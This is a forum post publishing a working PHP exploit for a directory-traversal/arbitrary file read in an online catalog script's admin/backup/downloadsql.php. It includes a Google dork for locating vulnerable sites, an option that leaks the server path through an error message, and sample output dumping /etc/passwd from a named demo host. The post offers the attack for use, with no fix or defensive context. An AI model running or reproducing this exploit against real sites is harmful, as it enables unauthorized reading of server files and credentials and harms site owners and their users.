Jump to content
shaggi

Online catalog script - grab the content of any file on the server

Recommended Posts

Posted


##################################################
# Description : Online catalog script - grab the content of any file on the server
# Author : shaggi
# Contact: contect@shaggi.me
# Link : http://demo.catalogscolar.com
# Date : January 2, 2013
# Dork : inurl:clase.html intitle:Catalog
##################################################


<?php
function help(){ echo "Usage: php exploit.php --get-data demo.catalogscolar.com /etc/passwd\n --get-data : Get content of a file on the server\n --get-path : Get the path to the script\n";die();}
if(!isset($argv[1]) || !isset($argv[2]) ){help();}
switch($argv[1]){
case "--get-path";
$data = file_get_contents("http://$argv[2]/admin/backup/downloadsql.php?file=")."\n";
$data = explode("Filename cannot be empty in <b>",$data);
$data = explode("admin/backup/downloadsql.php</b> on line <b>",$data[1]);
echo $data[0];
break;
case "--get-data";
if(!isset($argv[3])){help();}
$data = file_get_contents("http://$argv[2]/admin/backup/downloadsql.php?file=$argv[3]");
echo $data;
break;
default;
help();
}
?>

Usage:


shaggi@enux:~/Desktop$ php exploit.php --get-data demo.catalogscolar.com /etc/passwd
nobody:x:99:99:Nobody:/:/sbin/nologin
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
news:x:9:13:news:/etc/news:
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
gopher:x:13:30:gopher:/var/gopher:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nscd:x:28:28:NSCD Daemon:/:/sbin/nologin
vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin
pcap:x:77:77::/var/arpwatch:/sbin/nologin
rpc:x:32:32:Portmapper RPC user:/:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin
avahi:x:70:70:Avahi daemon:/:/sbin/nologin
rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin
haldaemon:x:68:68:HAL daemon:/:/sbin/nologin
avahi-autoipd:x:100:102:avahi-autoipd:/var/lib/avahi-autoipd:/sbin/nologin
named:x:25:25:Named:/var/named:/sbin/nologin
xfs:x:43:43:X Font Server:/etc/X11/fs:/sbin/nologin
dovecot:x:97:97:dovecot:/usr/libexec/dovecot:/sbin/nologin
cpaneleximfilter:x:32007:32009::/var/cpanel/userhomes/cpaneleximfilter:/usr/local/cpanel/bin/noshell
root:x:0:0:root:/root:/bin/bash
mysql:x:101:103:MySQL server:/var/lib/mysql:/bin/bash
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
mailnull:x:47:47::/var/spool/mqueue:/sbin/nologin
smmsp:x:51:51::/var/spool/mqueue:/sbin/nologin
mailman:x:32006:32006::/usr/local/cpanel/3rdparty/mailman/mailman:/usr/local/cpanel/bin/noshell
postgres:x:26:26:PostgreSQL Server:/var/lib/pgsql:/bin/bash
xphpin:x:608:604::/home/xphpin:/usr/local/cpanel/bin/noshell
shaggi@enux:~/Desktop$


Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...